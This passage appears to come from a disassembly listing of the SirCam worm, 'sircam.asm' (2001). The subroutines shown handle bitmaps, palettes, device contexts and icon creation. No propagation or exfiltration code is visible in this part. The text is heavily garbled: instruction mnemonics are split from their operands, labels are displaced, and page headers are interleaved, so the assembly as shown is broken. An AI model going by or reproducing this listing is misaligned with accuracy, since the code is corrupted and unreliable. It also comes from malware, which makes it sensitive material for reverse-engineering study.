12:42:44 2001 pop retn 543 ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4144D4 proc near ; CODE XREF: sub_414790+96\031p ; sub_414790+14D\031p push mov test jnz call ebx ebx, eax ebx, ebx short loc_4144E0 sub_41442C mov pop retn endp eax, ebx ebx loc_4144E0: sub_4144D4 ; CODE XREF: sub_4144D4+5\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4144E4 proc near var_34 var_30 var_2C var_1C var_18 var_14 var_10 var_C var_8 var_4 = = = = = = = = = = ; CODE XREF: sub_414790+B4\031p ; sub_414790+16B\031p byte ptr -34h dword ptr -30h dword ptr -2Ch dword ptr -1Ch dword ptr -18h dword ptr -14h dword ptr -10h dword ptr -0Ch dword ptr -8 dword ptr -4 push mov add push push push mov lea movsd movsd mov mov push call mov push call mov xor push push push mov lea push push mov push call test jz ebp ebp, esp, ebx esi edi esi, edi, esp 0FFFFFFCCh edx [ebp+var_C] ebx, ecx [ebp+var_4], eax 0 j_CreateCompatibleDC [ebp+var_18], eax 0 j_CreateCompatibleDC [ebp+var_1C], eax eax, eax ebp offset loc_414632 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_34] eax 18h eax, [ebp+var_4] eax j_GetObjectA bl, bl short loc_414546 sircam.asm Fri Aug 10 12:42:44 2001 544 push 0 push 1 push 1 mov eax, [ebp+var_8] push eax mov eax, [ebp+var_C] push eax call j_CreateBitmap mov [ebp+var_10], eax jmp short loc_4145A8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414546: push call mov cmp jnz call ; CODE XREF: sub_4144E4+48\030j 0 j_GetDC [ebp+var_14], eax [ebp+var_14], 0 short loc_41455B sub_41442C xor push push push mov mov push mov push mov push call mov cmp jnz call ; CODE XREF: sub_4144E4+70\030j eax, eax ebp offset loc_4145A1 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_8] eax eax, [ebp+var_C] eax eax, [ebp+var_14] eax j_CreateCompatibleBitmap [ebp+var_10], eax [ebp+var_10], 0 short loc_414588 sub_41442C xor pop pop pop mov push ; CODE XREF: sub_4144E4+9D\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_4145A8 loc_41455B: loc_414588: loc_414595: ; CODE XREF: sub_4144E4+C2\031j mov eax, [ebp+var_14] push eax push 0 call j_ReleaseDC retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4145A1: ; DATA XREF: sub_4144E4+7A\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_414595 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4145A8: ; CODE XREF: sub_4144E4+60\030j ; DATA XREF: sub_4144E4+AC\030o cmp jz mov push mov push call mov [ebp+var_10], 0 short loc_414612 eax, [ebp+var_4] eax eax, [ebp+var_18] eax j_SelectObject ebx, eax sircam.asm Fri Aug 10 12:42:44 2001 mov push mov push call mov push mov push mov push push push mov push mov push mov push push push mov push call test jz push mov push call eax, [ebp+var_10] eax eax, [ebp+var_1C] eax j_SelectObject esi, eax 0CC0020h eax, [ebp+var_2C] eax eax, [ebp+var_30] eax 0 0 eax, [ebp+var_18] eax eax, [ebp+var_8] eax eax, [ebp+var_C] eax 0 0 eax, [ebp+var_1C] eax j_StretchBlt ebx, ebx short loc_414604 ebx eax, [ebp+var_18] eax j_SelectObject test jz push mov push call ; CODE XREF: sub_4144E4+114\030j esi, esi short loc_414612 esi eax, [ebp+var_1C] eax j_SelectObject loc_414604: loc_414612: ; CODE XREF: sub_4144E4+C8\030j ; sub_4144E4+122\030j xor pop pop pop mov push loc_41461F: sub_4144E4 545 eax, eax edx ecx ecx fs:[eax], edx offset loc_414639 ; CODE XREF: CODE:00414637\031j mov eax, [ebp+var_18] push eax call j_DeleteDC mov eax, [ebp+var_1C] push eax call j_DeleteDC retn endp ; sp = -48h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414632: ; DATA XREF: sub_4144E4+2C\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_41461F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414639: ; DATA XREF: sub_4144E4+136\030o mov pop pop eax, [ebp-10h] edi esi sircam.asm Fri Aug 10 12:42:44 2001 546 pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_414644 proc near ; CODE XREF: sub_414790+41\031p mov edx, eax dec dx jz short loc_414657 sub dx, 3 jz short loc_414657 sub dx, 4 jnz short loc_414661 loc_414657: ; CODE XREF: sub_414644+5\030j ; sub_414644+B\030j mov ecx, eax mov eax, 1 shl eax, cl retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414661: sub_414644 ; CODE XREF: sub_414644+11\030j xor retn endp eax, eax ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_414664 proc near dec imul add not and test jns add ecx edx eax, ecx ecx eax, ecx eax, eax short loc_414674 eax, 7 sar retn endp eax, 3 loc_414674: sub_414664 ; CODE XREF: sub_414790+29\031p ; sub_414790+FE\031p ... ; CODE XREF: sub_414664+B\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_414678 proc near var_424 var_420 var_408 var_406 var_404 var_3E8 var_3E4 var_4 = = = = = = = = byte ptr -424h byte ptr -420h word ptr -408h word ptr -406h byte ptr -404h dword ptr -3E8h byte ptr -3E4h dword ptr -4 push mov ebp ebp, esp sircam.asm Fri Aug 10 12:42:44 2001 547 add esp, 0FFFFFBF8h push ebx mov [ebp+var_408], 300h mov [ebp+var_406], 10h lea edx, [ebp+var_404] mov ecx, 40h call sub_4026B0 push 0 call j_GetDC mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_414775 push dword ptr fs:[eax] mov fs:[eax], esp push 68h mov eax, [ebp+var_4] push eax call j_GetDeviceCaps mov ebx, eax cmp ebx, 10h jl loc_41475C lea eax, [ebp+var_404] push eax push 8 push 0 mov eax, [ebp+var_4] push eax call j_GetSystemPaletteEntries cmp [ebp+var_3E8], 0C0C0C0h jnz short loc_41473E lea eax, [ebp+var_3E8] push eax push 1 mov eax, ebx sub eax, 8 push eax mov eax, [ebp+var_4] push eax call j_GetSystemPaletteEntries movzx eax, [ebp+var_406] lea eax, [ebp+eax*4+var_420] push eax push 7 sub ebx, 7 push ebx mov eax, [ebp+var_4] push eax call j_GetSystemPaletteEntries lea eax, [ebp+var_3E4] push eax push 1 push 7 mov eax, [ebp+var_4] push eax call j_GetSystemPaletteEntries jmp short loc_41475C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41473E: movzx lea push push sub push mov push call ; CODE XREF: sub_414678+78\030j eax, [ebp+var_406] eax, [ebp+eax*4+var_424] eax 8 ebx, 8 ebx eax, [ebp+var_4] eax j_GetSystemPaletteEntries sircam.asm Fri Aug 10 12:42:44 2001 loc_41475C: 548 ; CODE XREF: sub_414678+54\030j ; sub_414678+C4\030j xor pop pop pop mov push eax, eax edx ecx ecx fs:[eax], edx offset loc_41477C loc_414769: ; CODE XREF: sub_414678+102\031j mov eax, [ebp+var_4] push eax push 0 call j_ReleaseDC retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414775: ; DATA XREF: sub_414678+39\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_414769 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41477C: sub_414678 lea push call pop mov pop retn endp ; DATA XREF: sub_414678+EC\030o eax, [ebp+var_408] eax j_CreatePalette ebx esp, ebp ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_414790 proc near var_14 var_10 var_C var_8 var_4 arg_0 = = = = = = dword dword dword dword dword dword push mov add push push push mov mov mov mov shr mov movzx mov mov mov call mov imul mov mov ptr ptr ptr ptr ptr ptr ; CODE XREF: CODE:00414BBB\031p -14h -10h -0Ch -8 -4 8 ebp ebp, esp esp, 0FFFFFFECh ebx esi edi [ebp+var_8], ecx ebx, edx [ebp+var_4], eax eax, [ebp+var_4] dword ptr [eax+8], 1 edx, [ebp+var_4] edx, word ptr [edx+0Eh] eax, [ebp+var_4] eax, [eax+4] ecx, 20h sub_414664 edx, [ebp+var_4] dword ptr [edx+8] edx, [ebp+var_4] [edx+14h], eax sircam.asm Fri Aug 10 12:42:44 2001 549 mov mov call mov push call mov cmp jnz call eax, [ebp+var_4] ax, [eax+0Eh] sub_414644 esi, eax 0 j_GetDC [ebp+var_10], eax [ebp+var_10], 0 short loc_4147ED sub_4143D8 xor push push push mov mov mov add mov shl add mov push mov push mov push push mov push mov push call call mov xor push push push mov mov xor mov call mov xor pop pop pop mov push ; CODE XREF: sub_414790+56\030j edx, edx ebp offset loc_41493C dword ptr fs:[edx] fs:[edx], esp edi, [ebp+var_4] eax, edi eax, 28h edx, esi edx, 2 eax, edx [ebp+var_14], eax 0 eax, [ebp+var_4] edi eax, [ebp+var_14] eax 4 eax, [ebp+var_4] eax eax, [ebp+var_10] eax j_CreateDIBitmap sub_4144D4 [ebp+var_C], eax eax, eax ebp offset loc_414862 dword ptr fs:[eax] fs:[eax], esp edx, [ebp+arg_0] ecx, ecx eax, [ebp+var_C] sub_4144E4 [ebx], eax eax, eax edx ecx ecx fs:[eax], edx offset loc_414869 loc_4147ED: loc_414858: ; CODE XREF: sub_414790+D7\031j mov eax, [ebp+var_C] push eax call j_DeleteObject retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414862: ; DATA XREF: sub_414790+A1\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_414858 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414869: ; DATA XREF: sub_414790+C3\030o mov mov eax, [ebp+var_4] eax, [eax+14h] sircam.asm Fri Aug 10 12:42:44 2001 add mov mov mov mov movzx mov mov mov call mov imul mov mov mov mov mov mov mov add xor mov mov push mov push mov push push mov push mov push call call mov xor push push push mov mov mov mov call mov mov xor pop pop pop mov push 550 [ebp+var_14], eax eax, [ebp+var_4] bx, 1 [eax+0Eh], bx eax, [ebp+var_4] edx, bx eax, [ebp+var_4] eax, [eax+4] ecx, 20h sub_414664 edx, [ebp+var_4] dword ptr [edx+8] edx, [ebp+var_4] [edx+14h], eax eax, [ebp+var_4] dword ptr [eax+20h], 2 eax, [ebp+var_4] dword ptr [eax+24h], 2 eax, [ebp+var_4] eax, 28h edx, edx [eax], edx dword ptr [eax+4], 0FFFFFFh 0 ebx, [ebp+var_4] ebx eax, [ebp+var_14] eax 4 eax, [ebp+var_4] ebx eax, [ebp+var_10] eax j_CreateDIBitmap sub_4144D4 [ebp+var_C], eax eax, eax ebp offset loc_41491C dword ptr fs:[eax] fs:[eax], esp edx, [ebp+arg_0] cl, 1 eax, [ebp+var_C] sub_4144E4 edx, [ebp+var_8] [edx], eax eax, eax edx ecx ecx fs:[eax], edx offset loc_414923 loc_414912: ; CODE XREF: sub_414790+191\031j mov eax, [ebp+var_C] push eax call j_DeleteObject retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41491C: ; DATA XREF: sub_414790+158\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_414912 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414923: ; DATA XREF: sub_414790+17D\030o xor pop eax, eax edx sircam.asm Fri Aug 10 12:42:44 2001 pop pop mov push 551 ecx ecx fs:[eax], edx offset loc_414943 loc_414930: ; CODE XREF: sub_414790+1B1\031j mov eax, [ebp+var_10] push eax push 0 call j_ReleaseDC retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41493C: ; DATA XREF: sub_414790+60\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_414930 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414943: sub_414790 ; DATA XREF: sub_414790+19B\030o pop pop pop mov pop retn endp edi esi ebx esp, ebp ebp 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_41494C proc near test jnz mov ; CODE XREF: CODE:00414AE4\031p ; CODE:00414B05\031p eax, eax short locret_414955 eax, 7FFFFFFFh locret_414955: sub_41494C ; CODE XREF: sub_41494C+2\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_414958 proc near var_8 var_4 arg_0 = dword ptr -8 = dword ptr -4 = dword ptr 8 push mov add push push push mov xor mov mov mov mov sub xor mov ebp ebp, esp esp, 0FFFFFFF8h ebx esi edi [ebp+var_4], eax ecx, ecx cl, [edx] eax, [ebp+arg_0] eax, [eax+8] eax, [eax] ecx, eax ebx, ebx bl, [edx+1] ; CODE XREF: CODE:00414B2C\031p sircam.asm Fri Aug 10 12:42:44 2001 mov mov sub mov movzx mov mov sub mov movzx mov mov sub mov mov cdq xor sub mov mov cdq xor sub cmp jg test jle cmp jl edx, [ebp+arg_0] edx, [edx+8] ebx, [edx+4] esi, [ebp+var_4] esi, byte ptr [esi] edx, [ebp+arg_0] edx, [edx+8] esi, eax eax, [ebp+var_4] eax, byte ptr [eax+1] edx, [ebp+arg_0] edx, [edx+8] eax, [edx+4] [ebp+var_8], eax eax, ecx mov cdq xor sub mov mov cdq xor sub cmp jg test jle cmp jle eax, ebx eax, eax, edi, eax, 552 edx edx eax esi eax, edx eax, edx edi, eax short loc_4149DB ecx, ecx short loc_4149BD esi, ecx short loc_4149DB loc_4149BD: ; CODE XREF: sub_414958+5F\030j eax, eax, ecx, eax, edx edx eax [ebp+var_8] eax, edx eax, edx ecx, eax short loc_4149DB ebx, ebx short loc_4149DF ebx, [ebp+var_8] short loc_4149DF loc_4149DB: ; CODE XREF: sub_414958+5B\030j ; sub_414958+63\030j ... xor eax, eax jmp short loc_4149E1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4149DF: ; CODE XREF: sub_414958+7C\030j ; sub_414958+81\030j mov al, 1 pop pop pop pop pop pop retn endp edi esi ebx ecx ecx ebp loc_4149E1: sub_414958 ; CODE XREF: sub_414958+85\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm Fri Aug 10 12:42:44 2001 553 ; Attributes: bp-based frame sub_4149E8 proc near var_28 var_1C var_14 var_10 var_C var_8 var_4 arg_0 arg_4 = = = = = = = = = dword dword dword dword dword dword dword dword dword ptr ptr ptr ptr ptr ptr ptr ptr ptr ; CODE XREF: sub_415764+5D\031p -28h -1Ch -14h -10h -0Ch -8 -4 8 0Ch push ebp mov ebp, esp add esp, 0FFFFFF90h push ebx push esi push edi mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov ebx, [ebp+arg_4] mov eax, [ebp+var_C] shl eax, 4 mov [ebp+var_14], eax mov eax, [ebp+var_14] call sub_406D34 mov [ebp+var_10], eax xor edx, edx push ebp push offset loc_414CDF push dword ptr fs:[edx] mov fs:[edx], esp mov edx, [ebp+var_10] mov ecx, [ebp+var_14] mov eax, [ebp+var_4] mov esi, [eax] call dword ptr [esi+4] mov eax, [ebx] or eax, [ebx+4] jnz short loc_414A4F push 0Bh call j_GetSystemMetrics mov edx, [ebp+arg_0] mov [edx], eax push 0Ch call j_GetSystemMetrics mov edx, [ebp+arg_0] mov [edx+4], eax jmp short loc_414A5C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414A4F: ; CODE XREF: sub_4149E8+4A\030j mov mov mov mov mov eax, [ebp+arg_0] edx, [ebx] [eax], edx edx, [ebx+4] [eax+4], edx push call mov cmp jnz call ; CODE XREF: sub_4149E8+65\030j 0 j_GetDC [ebp+var_28], eax [ebp+var_28], 0 short loc_414A71 sub_4143D8 loc_414A5C: loc_414A71: ; CODE XREF: sub_4149E8+82\030j sircam.asm Fri Aug 10 12:42:44 2001 554 xor edx, edx push ebp push offset loc_414AD1 push dword ptr fs:[edx] mov fs:[edx], esp push 0Eh mov eax, [ebp+var_28] push eax call j_GetDeviceCaps mov ebx, eax push 0Ch mov eax, [ebp+var_28] push eax call j_GetDeviceCaps imul bx, ax mov eax, ebx cmp ax, 8 jbe short loc_414AAC mov [ebp+var_1C], 7FFFFFFFh jmp short loc_414AB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414AAC: mov mov shl mov ; CODE XREF: sub_4149E8+B9\030j ecx, eax eax, 1 eax, cl [ebp+var_1C], eax xor pop pop pop mov push ; CODE XREF: sub_4149E8+C2\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_414AD8 loc_414AB8: loc_414AC5: sub_4149E8 ; CODE XREF: CODE:00414AD6\031j mov eax, [ebp+var_28] push eax push 0 call j_ReleaseDC retn endp ; sp = -90h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414AD1: ; DATA XREF: sub_4149E8+8C\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_414AC5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414AD8: xor mov mov movzx call mov mov dec test jle mov ; DATA XREF: sub_4149E8+D8\030o eax, eax [ebp-24h], eax eax, [ebp-10h] eax, word ptr [eax+2] sub_41494C [ebp-20h], eax edi, [ebp-0Ch] edi edi, edi short loc_414B40 esi, 1 mov add mov movzx eax, eax, edx, eax, loc_414AF9: ; CODE XREF: CODE:00414B3E\031j esi eax [ebp-10h] word ptr [edx+eax*8+2] sircam.asm Fri Aug 10 12:42:44 2001 call mov cmp jg cmp jl push mov add mov lea mov add mov lea call pop test jz mov mov 555 sub_41494C ebx, eax ebx, [ebp-1Ch] short loc_414B3C ebx, [ebp-20h] short loc_414B3C ebp eax, esi eax, eax edx, [ebp-10h] edx, [edx+eax*8] eax, [ebp-24h] eax, eax ecx, [ebp-10h] eax, [ecx+eax*8] sub_414958 ecx al, al short loc_414B3C [ebp-24h], esi [ebp-20h], ebx loc_414B3C: ; CODE XREF: CODE:00414B0F\030j ; CODE:00414B14\030j ... inc dec jnz esi edi short loc_414AF9 mov add mov lea mov mov movzx mov mov mov movzx mov mov mov mov call mov xor push push push mov mov mov mov add sub mov mov mov call mov mov mov mov mov mov call mov push lea ; CODE XREF: CODE:00414AF2\030j eax, [ebp-24h] eax, eax edx, [ebp-10h] eax, [edx+eax*8] [ebp-40h], eax eax, [ebp-40h] eax, byte ptr [eax] edx, [ebp+8] [edx], eax eax, [ebp-40h] eax, byte ptr [eax+1] edx, [ebp+8] [edx+4], eax eax, [ebp-40h] eax, [eax+8] sub_406D34 [ebp-2Ch], eax eax, eax ebp offset loc_414CBF dword ptr fs:[eax] fs:[eax], esp eax, [ebp-40h] edx, [eax+0Ch] eax, [ebp-14h] eax, [ebp+10h] edx, eax cx, 1 eax, [ebp-4] ebx, [eax] dword ptr [ebx+0Ch] eax, [ebp-40h] ecx, [eax+8] ebx, [ebp-2Ch] edx, ebx eax, [ebp-4] esi, [eax] dword ptr [esi+4] eax, [ebp+8] eax ecx, [ebp-38h] loc_414B40: sircam.asm Fri Aug 10 12:42:44 2001 lea mov call lea push push mov push call lea push push mov push call mov imul movzx imul mov imul movzx imul mov mov add mov mov call mov xor push push push mov mov mov add push push mov push call push mov push mov push call mov push call mov push call push push mov push mov push mov mov push mov mov push mov push call edx, [ebp-34h] eax, ebx sub_414790 eax, [ebp-70h] eax 18h eax, [ebp-38h] eax j_GetObjectA eax, [ebp-58h] eax 18h eax, [ebp-34h] eax j_GetObjectA ebx, [ebp-64h] ebx, [ebp-68h] eax, word ptr [ebp-60h] ebx, eax eax, [ebp-4Ch] dword ptr [ebp-50h] edx, word ptr [ebp-48h] edx [ebp-3Ch], eax eax, [ebp-3Ch] eax, ebx [ebp-18h], eax eax, [ebp-18h] sub_406D34 [ebp-30h], eax eax, eax ebp offset loc_414C9C dword ptr fs:[eax] fs:[eax], esp edi, [ebp-30h] esi, [ebp-30h] esi, ebx edi ebx eax, [ebp-38h] eax j_GetBitmapBits esi eax, [ebp-3Ch] eax eax, [ebp-34h] eax j_GetBitmapBits eax, [ebp-34h] eax j_DeleteObject eax, [ebp-38h] eax j_DeleteObject esi edi al, [ebp-46h] eax al, [ebp-48h] eax eax, [ebp+8] eax, [eax+4] eax eax, [ebp+8] eax, [eax] eax eax, ds:dword_41E4D4 eax j_CreateIcon 556 sircam.asm Fri Aug 10 12:42:44 2001 557 